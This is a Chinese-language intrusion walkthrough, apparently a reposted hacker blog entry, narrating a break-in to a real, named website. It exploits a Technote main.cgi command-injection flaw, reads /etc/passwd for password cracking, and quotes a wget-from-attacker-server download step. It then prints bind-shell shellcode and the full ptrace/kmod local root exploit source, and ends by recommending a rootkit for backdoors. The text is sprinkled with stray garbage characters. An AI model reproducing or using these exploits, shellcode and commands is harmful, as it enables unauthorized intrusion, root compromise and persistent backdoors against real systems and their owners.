作者:cnbird
大家好,我是cnbird,我又回来了,好长时间没有写文章了,今天手痒痒,
所以就写了一篇,希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn
最近在家研究perl和UNIX服务器的安装和应用,所以很长时间没有进行渗 透了,在学perl和UNIX的话就要傻了,什么也不会了,所以去各大黑客站点
% c" i& z6 h4 Y) d. J1 U3 m& [/ {转转吧,来到了www.nsfocus.net看看吧,有没有什么新的公告啊,Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意,大致看了看,
知道了这是一个可以远程执行命令的漏洞,下面把漏洞的信息公布一下,Technote是韩国的Technote公司开发的公告牌系统。
4 c; j8 ^* ]. X GTechnote的'main.cgi'没有充分过滤用户提交输入,远程攻击者可以利用这
个漏洞以WEB进程权限在系统上执行任意命令。
* n4 |- T" Q+ n. i0 ?由于不正确过滤'filename'参数,攻击者提交包含"|command"的数据作为参
( V! M$ p' B) ^# Z+ }数内容,可能以WEB进程权限在系统上执行任意命令。
给出利用方法
+ J( e2 F7 ^4 _ @_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|
/ U/ E$ n1 {/ W* r G( ], u看了看利用方法觉得很简单,所以打算自己写一个perl的漏洞利用程序,
看了半天,终于完成了,自己perl新学的原因,所以写的比较简陋,还要自己
, i) B* \, l& I- ~, W# D修改路径,很麻烦,我就不公布了,省的高手见笑。其实这个漏洞成功率还是
7 x" P- B2 @6 S$ R l很高的,基本上90%以上吧,对于咱们这些经常搞安全的应该说是一个好消息.
^_^.
: z1 S1 _% V5 J' i+ P% f5 O* L好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单,其实融合我多年
) ?! z7 C$ y1 b" `" I6 I的经验(其实就1-2年),首先要测试这个漏洞,先要找这样的论坛,
google.com就是方便,一下子找到了一大堆,好了随便挑一个进行测试吧,哈哈哈就拿你开口吧。
5 t% _) p8 B8 C9 {1 y( j) [- q: r' q1 lhttp://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看,然后就开始吧,
按照绿盟给出的公告测试一下,输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|
结果如图1
$ W, f5 P. c: X% B* A" r9 V
大家看到结果了
+ `. P, k2 Q a; Guid=99(nobody) gid=99(nobody) groups=99(nobody) 下面就开始利用我自己写的程序来完成工作了,毕竟在IE里面输太麻烦了, 我程序的工作 界面。如图2

依次输入IP和端口,就可以直接运行程序了,输入id呵呵,和IE里面基本上差
8 f% _) k+ g3 j( g# y1 b不多,
- y2 Q1 o. Z* j/ K# _$ A, d( k; C( U如图3
# [- i3 G3 x- r3 R
呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了,
其实我也有这样的想法,可是我已经习惯了UNIX的命令行模式了,虽然能写一个webshell,但是我并没有这样做,我的目的是拿到root权限,大家一定问了,你连主机都没有连上呢,你怎么拿到root啊,小伙子你问的不错,奖你个梨吃,呵呵,下面我的思路就是登陆到机器上面,上面大家已经看到了,我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody),权限还是很低的,试试能不能拿到/etc/passwd然后跑密码,然后执行[www.sealia.com]$ cat /etc/passwd
不错,能拿到/etc/passwd。
* ~; i3 y u* J9 V$ i8 g$ y如图4

呵呵已经得到/etc/passwd了,我们用流光去跑密码吧,当然我没有指望它能跑出来,等待的时间真漫长啊,无聊,都已经5点50分了,天天晚上,哦哦不是晚上了,是早晨这个时候睡觉,然后12点起来,天天如此,哎,,苦啊。。。
去forum.zone-h.org看看帖子吧,也许能找到什么灵感呢!无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码,看看吧,虽然已经很老很老了,呵呵其实说实话,不怕各位见小,我以前问在这里问过问题,很长时间没有来了,看看他们有没有给回复啊
6 Y1 F9 H1 S9 Z! \+ L5 p9 F如图5

呵呵见笑了,真没想到他们给的答案还很全面,^_^连什么程序都给出了,老外就是实在...呵呵...
This one works fine
http://rst.void.ru/download/r57phpbb2010.txt
upload, someth like this
./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"
; d3 q$ P: ~- { C1 h0 k4 y ./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"
% F; E l: C' A/ ?& ~0 | exec on victim hots same shit
+ v, I3 I, i8 n4 z8 E7 p9 S' Tand binding shell
http://shellcode.org/Shellcode/Linux/shell-bind-shell.html
回答的让我很满意啊,正好就试试他们给的方法吧,其实以前我也知道这样的方法的就是没有binding shell(就是把/bin/sh绑定到端口上)。好了说了这么多离题的话,我们还是赶紧做我们的事吧.
$ \' P i* \8 F9 T% }9 t/ q+ n首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看,
This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.
This would be ideal for a system which you didn't have a direct login shell upon.
从描述上来看是linux的binding shell,并且绑定到了20000端口,下面有该程序的下载地方,真方便啊,http://shellcode.org/Shellcode/Linux/shell-bind-shell.c
5 \6 i; q1 v ]! ?$ g; Y6 E给出代码
$ C! ^" `; j( J' J$ T0 [) w6 M/* 92 bytes iscntrl() evading portbinding shellcode - linux-x865 \2 d* P2 C5 P * - by bighawk (bighawk@warfare.com) *3 K) r& S; J+ B8 G, ^& J v+ G * This shellcode binds a shell on port 200009 l- l& `4 v' f* e& L */ \7 O K" @. ]$ x9 ^) p * stdin, stdout and stderr are dupped. accept() arguments are sane., P8 b9 {" m1 Z6 Y7 v */
char code[] =
"\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx: N$ a! E) T5 i- `8 Q5 k9 ] "\xb0\x66" // mov al, 1024 h$ Y* Q u$ q/ n# N "\x53" // push ebx% W) V( S8 k; H3 ^0 a3 V "\x43" // inc ebx "\x53" // push ebx "\x43" // inc ebx+ m6 P& p6 g) \$ E4 t# _. i5 Y j "\x53" // push ebx! @0 l4 a- f# `; j "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx "\xcd\x80" // int 80h "\x89\xc7" // mov edi, eax v* R$ p. B- \& x( T- R0 M "\x52" // push edx "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx) B M( B7 T: t( J) Z "\x66\x53" // push bx* |8 L. j) U6 C: e" d, ?- y "\x89\xe1" // mov ecx, esp "\xb0\xef" // mov al, 239 "\xf6\xd0" // not al0 C# i. ^. V( f$ g9 T "\x50" // push eax- j. X& K6 [$ r' X "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102; ~3 d8 t. B4 s6 n3 n0 V% v "\x43" // inc ebx5 l% S- o; d8 ^7 j( {3 K& ^. _' _) L* H1 `/ b "\x43" // inc ebx "\xcd\x80" // int 80h "\x50" // push eax% }4 N0 U8 S/ Y1 o# U: q "\x50" // push eax \) n: N# d% z# e8 q+ d0 x: W0 B "\x57" // push edi "\x89\xe1" // mov ecx, esp8 Z ~0 ~% c" P: x& j8 ^! X "\x43" // inc ebx0 b/ y5 `. u0 l" d+ ^ "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax! K3 q. a7 E" w- o1 M2 {/ a "\xb0\x3f" // mov al, 63/ W0 Z2 g7 Y+ Z; Y0 \ "\x49" // dec ecx# V6 Y- E5 |1 u "\xcd\x80" // int 80h8 b8 j# G) \3 e$ m6 [& E "\x41" // inc ecx* E5 b- q+ a$ n7 e "\xe2\xf8" // loop lp7 S% C7 t; M# Y+ \# w8 y "\x51" // push ecx7 S! E! w( z. y$ N "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh/ l2 s' I" x P3 V! E' t "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh! e, S8 S/ t# r1 ]0 [& b "\x89\xe3" // mov ebx, esp" E2 s* i/ N. a; X& @# p. i3 S) l "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp. k) j F4 @! i3 o( @+ v0 C0 F "\xb0\xf4" // mov al, 2449 E# b9 {* j- I& o' X0 t' D5 | "\xf6\xd0" // not al9 m) B# o) c2 S1 e* x "\xcd\x80"; // int 80h
main() {6 {: R6 }! P( y# Z+ u void (*a)() = (void *)code; int i;- Z. P: F3 Q$ V" ` printf("size: %d bytes\n", strlen(code));) Z: i8 V( W+ t) c/ |, M) W, `/ h printf("Testing for cntrl characters.. "); for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255);4 x6 E1 }$ W4 H: B printf("PASSED\n"); a();( B* o/ R. d2 h7 ^7 ` } 好了我们已经知道该下载地址
0 U l1 Y8 z/ e( N9 l2 N
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs6 a* T; N) V/ B$ a
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天- d' j; y5 w1 I! r4 f) a. A
在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果7 ^. p3 v0 y* [% B9 H! v$ f L
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain; n9 G0 f6 U; E7 r
12gcc: /usr/bin/gcc
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我* S! f* L0 @ |5 d
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"" B5 x0 D# q8 a
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000% m" h- A! q" G$ g3 f/ V
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*; l/ K$ \+ W( S5 _5 b * Linux kernel ptrace/kmod local root exploit * * This code exploits a race condition in kernel/kmod.c, which creates * kernel thread in insecure manner. This bug allows to ptrace cloned * process, allowing to take control over privileged modprobe binary. * Z% z) T) L& m+ F, g: D1 _ * Should work under all current 2.2.x and 2.4.x kernels./ ]( c$ X- s# f * . L; @2 \; s1 |1 M * I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat * and others.& Z9 S% t G& N' p! \4 Y7 C * * Wojciech Purczynski <cliph@isec.pl>9 t' f# f4 W' F( t! q/ y+ W$ w, v *! p0 A' l5 b7 Y7 ?8 [' y * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY" M" h5 ]/ p, P; b) \& T8 `) [ * * (c) 2003 Copyright by iSEC Security Research */
#include % B/ R% N% S9 s. F #include #include #include 7 C# ]+ F ]/ Y1 L% N5 T9 _8 x% h0 H. j #include #include #include #include #include ( n" `; a8 [. ~: M9 `# c1 D #include 0 v$ V8 S. r) F #include #include #include 4 _, ~! z! g5 ^6 K( O! q #include #include #include
char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"3 `# I. T6 l; l& U0 n4 A "\x00\x5b\x31\xc9\x89\xca\xcd\x80"6 c& q, L) x$ I6 n2 y' h. s& X "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3"4 o; F x; T5 b3 Y) ?7 a "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1; pid_t child = 1; pid_t victim = 1; volatile int gotchild = 0;
void fatal(char * msg) { perror(msg); kill(parent, SIGKILL); kill(child, SIGKILL);0 P" U; }5 W' F4 n% J+ ]7 H! B kill(victim, SIGKILL);1 Z9 M8 i, t6 s2 A& w1 n' A }
void putcode(unsigned long * dst)+ L, l$ ~: y: e* D$ K { char buf[MAXPATHLEN + CODE_SIZE];+ n8 B$ b, g7 v3 W/ _ unsigned long * src; int i, len;
memcpy(buf, cliphcode, CODE_SIZE);0 d* A# r' q# Q0 K% U len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);$ `. h% e4 l" \, I% l if (len == -1)4 `5 q0 `/ b; R: M7 K# W( y0 o. g% g fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;- [$ i! p7 l. |' d' X, ?# U buf[len] = '\0';
src = (unsigned long*) buf; for (i = 0; i < len; i += 4) if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)! Y7 Z; S' u' _# K9 f$ e0 S fatal("[-] Unable to write shellcode"); }
void sigchld(int signo)! {1 r) a9 {5 P. m { struct user_regs_struct regs;
if (gotchild++ == 0) return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)/ r0 g6 b: }1 W, s6 h fatal("[-] Unable to detach from victim");
exit(0);& O& S1 m! v6 x5 z% n+ { }
void sigalrm(int signo) {7 u" [& @ R6 k0 T- a/ s# I errno = ECANCELED; fatal("[-] Fatal error"); }
void do_child(void) { int err;
child = getpid(); victim = child + 1;
signal(SIGCHLD, sigchld);
do2 R0 ]" Y: R' N& r! ?; V$ l! D err = ptrace(PTRACE_ATTACH, victim, 0, 0);3 @0 l+ \6 o& M3 G6 G while (err == -1 && errno == ESRCH);
if (err == -1) fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim); v, {( z* q; h+ e2 N7 K while (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)+ |7 \! D, ]8 x8 A/ K \" [$ N fatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n");
for(;;); }
void do_parent(char * progname)3 L2 F5 P1 Q* { { struct stat st; int err;% I$ e1 h3 V( l* F6 `' R5 H3 r errno = 0; socket(AF_SECURITY, SOCK_STREAM, 1);9 `3 }! G) Q1 D0 V' T do { q8 ^& q; I; z m$ T err = stat(progname, &st);) m, a+ y% w ?0 I. k5 T } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1) fatal("[-] Unable to stat myself");
alarm(0);. m& i- @6 W8 F# {, g6 w/ c system(progname); }
void prepare(void) { if (geteuid() == 0) { initgroups("root", 0); setgid(0);5 n: c' J: I5 h2 a, ~# a setuid(0); execl(_PATH_BSHELL, _PATH_BSHELL, NULL);* |! L: i& ^ D( X fatal("[-] Unable to spawn shell");' v8 |9 w' C4 G4 Z } }
int main(int argc, char ** argv) { prepare(); signal(SIGALRM, sigalrm);7 \9 Z6 h- ?6 y+ U) H) t alarm(10);
parent = getpid(); child = fork(); victim = child + 1;
if (child == -1)' M2 K9 Y) U- {4 `) c4 k fatal("[-] Unable to fork");
if (child == 0) do_child(); else do_parent(argv[0]);
return 0; }CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来.
| 欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) | Powered by Discuz! X2.5 |